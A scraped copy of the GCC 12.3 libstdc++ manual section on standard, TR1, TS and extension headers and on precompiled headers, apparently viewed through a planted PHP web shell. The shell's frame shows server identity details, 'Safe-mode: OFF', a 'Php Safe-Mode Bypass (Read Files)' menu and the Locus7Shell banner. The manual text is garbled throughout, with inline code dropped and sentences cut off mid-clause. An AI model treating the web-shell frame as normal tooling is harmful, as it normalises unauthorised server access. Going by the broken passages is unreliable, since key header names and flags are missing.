![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/gcc-12.3.0/libstdc++-v3/doc/html/manual/ drwxr-xr-x |
Viewing file: Select action/file-type:
The C++ standard specifies the entire set of header files that
must be available to all hosted implementations. Actually, the
word "files" is a misnomer, since the contents of the
headers don't necessarily have to be in any kind of external
file. The only rule is that when one That said, in practice files are used. There are two main types of include files: header files related to a specific version of the ISO C++ standard (called Standard Headers), and all others (TS, TR1, C++ ABI, and Extensions). Multiple dialects of standard headers are supported, corresponding to the 1998 standard as updated for 2003, the 2011 standard, the 2014 standard, and so on.
Table 3.2, “C++ 1998 Library Headers” and
Table 3.3, “C++ 1998 Library Headers for C Library Facilities” and
Table 3.4, “C++ 1998 Deprecated Library Header”
show the C++98/03 include files.
These are available in the C++98 compilation mode,
i.e. Table 3.2. C++ 1998 Library Headers
Table 3.3. C++ 1998 Library Headers for C Library Facilities
The following header is deprecated and might be removed from a future C++ standard.
Table 3.5, “C++ 2011 Library Headers” and
Table 3.6, “C++ 2011 Library Headers for C Library Facilities” show the C++11 include files.
These are available in C++11 compilation
mode, i.e. Table 3.5. C++ 2011 Library Headers
Table 3.6. C++ 2011 Library Headers for C Library Facilities
Table 3.7, “C++ 2014 Library Header” shows the C++14 include file.
This is available in C++14 compilation
mode, i.e.
Table 3.8, “C++ 2017 Library Headers” shows the C++17 include files.
These are available in C++17 compilation
mode, i.e. Table 3.8. C++ 2017 Library Headers
Table 3.9, “C++ 2020 Library Headers”
shows the C++2a include files.
These are available in C++2a compilation
mode, i.e. The following headers have been removed in the C++2a working draft. They are still available when using this implementation, but in future they might start to produce warnings or errors when included in C++2a mode. Programs that intend to be portable should not include them. Table 3.11, “File System TS Header”, shows the additional include file define by the File System Technical Specification, ISO/IEC TS 18822. This is available in C++11 and later compilation modes. Including this header in earlier modes will not result in compilation errors, but will not define anything. Table 3.12, “Library Fundamentals TS Headers”, shows the additional include files define by the C++ Extensions for Library Fundamentals Technical Specification, ISO/IEC TS 19568. These are available in C++14 and later compilation modes. Including these headers in earlier modes will not result in compilation errors, but will not define anything. Table 3.12. Library Fundamentals TS Headers
In addition, TR1 includes as: Table 3.13. C++ TR 1 Library Headers
Table 3.14. C++ TR 1 Library Headers for C Library Facilities
Decimal floating-point arithmetic is available if the C++
compiler supports scalar decimal floating-point types defined via
Also included are files for the C++ ABI interface: And a large variety of extensions. Table 3.17. Extension Headers
Table 3.18. Extension Debug Headers
A few simple rules. First, mixing different dialects of the standard headers is not possible. It's an all-or-nothing affair. Thus, code like #include <array> #include <functional> Implies C++11 mode. To use the entities in <array>, the C++11 compilation mode must be used, which implies the C++11 functionality (and deprecations) in <functional> will be present. Second, the other headers can be included with either dialect of
the standard headers, although features and types specific to C++11
are still only enabled when in C++11 compilation mode. So, to use
rvalue references with A special case of the second rule is the mixing of TR1 and C++11 facilities. It is possible (although not especially prudent) to include both the TR1 version and the C++11 version of header in the same translation unit: #include <tr1/type_traits> #include <type_traits> Several parts of C++11 diverge quite substantially from TR1 predecessors.
The standard specifies that if one includes the C-style header
(<math.h> in this case), the symbols will be available
in the global namespace and perhaps in
namespace
Usage of C++-style headers is recommended, as then
C-linkage names can be disambiguated by explicit qualification, such
as by There are three base header files that are provided. They can be used to precompile the standard headers and extensions into binary files that may then be used to speed up compilations that use these headers.
To construct a .gch file from one of these base header files, first find the include directory for the compiler. One way to do this is: g++ -v hello.cc #include <...> search starts here: /mnt/share/bld/H-x86-gcc.20071201/include/c++/4.3.0 ... End of search list. Then, create a precompiled header file with the same flags that will be used to compile other projects. g++ -Winvalid-pch -x c++-header -g -O2 -o ./stdc++.h.gch /mnt/share/bld/H-x86-gcc.20071201/include/c++/4.3.0/x86_64-unknown-linux-gnu/bits/stdc++.h The resulting file will be quite large: the current size is around thirty megabytes. How to use the resulting file. g++ -I. -include stdc++.h -H -g -O2 hello.cc Verification that the PCH file is being used is easy: g++ -Winvalid-pch -I. -include stdc++.h -H -g -O2 hello.cc -o test.exe ! ./stdc++.h.gch . /mnt/share/bld/H-x86-gcc.20071201/include/c++/4.3.0/iostream . /mnt/share/bld/H-x86-gcc.20071201include/c++/4.3.0/string The exclamation point to the left of the Detailed information about creating precompiled header files can be found in the GCC documentation. |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0053 ]-- |